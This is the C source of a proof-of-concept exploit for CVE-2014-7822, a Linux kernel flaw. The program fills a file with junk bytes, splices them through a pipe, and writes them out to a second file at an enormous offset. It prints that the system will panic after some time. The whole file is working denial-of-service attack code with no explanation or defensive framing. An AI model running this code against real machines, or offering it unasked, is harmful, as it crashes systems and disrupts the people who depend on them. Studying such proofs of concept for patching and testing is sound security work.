#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <limits.h>
#define EXPLOIT_NAME "cve-2014-7822"
#define EXPLOIT_TYPE DOS
#define JUNK_SIZE 30000
int
main()
{
int
pipefd[2];
int
result;
int
in_file;
int
out_file;
int
zulHandler;
loff_t viciousOffset = 0;
char
junk[JUNK_SIZE] ={0};
result = pipe(pipefd);
system
(
"cat /dev/null > zul.txt"
);
system
(
"cat /dev/null > zug.txt"
);
zulHandler = open(
"zul.txt"
, O_RDWR);
memset
(junk,
'A'
,JUNK_SIZE);
write(zulHandler, junk, JUNK_SIZE);
close(zulHandler);
viciousOffset = 0;
in_file = open(
"zul.txt"
, O_RDONLY);
result = splice(in_file, 0, pipefd[1], NULL, JUNK_SIZE, SPLICE_F_MORE | SPLICE_F_MOVE);
close(in_file);
out_file = open(
"zug.txt"
, O_RDWR);
viciousOffset = 118402345721856;
printf
(
"[cve_2014_7822]: ViciousOffset = %lu\n"
, (unsigned
long
)viciousOffset);
result = splice(pipefd[0], NULL, out_file, &viciousOffset, JUNK_SIZE , SPLICE_F_MORE | SPLICE_F_MOVE);
if
(result == -1)
{
printf
(
"[cve_2014_7822 error]: %d - %s\n"
,
errno
,
strerror
(
errno
));
exit
(1);
}
close(out_file);
close(pipefd[0]);
close(pipefd[1]);
in_file = open(
"zug.txt"
, O_RDONLY);
close(in_file);
printf
(
"[cve_2014_7822]: POC triggered, ... system will panic after some time\n"
);
return
0;
}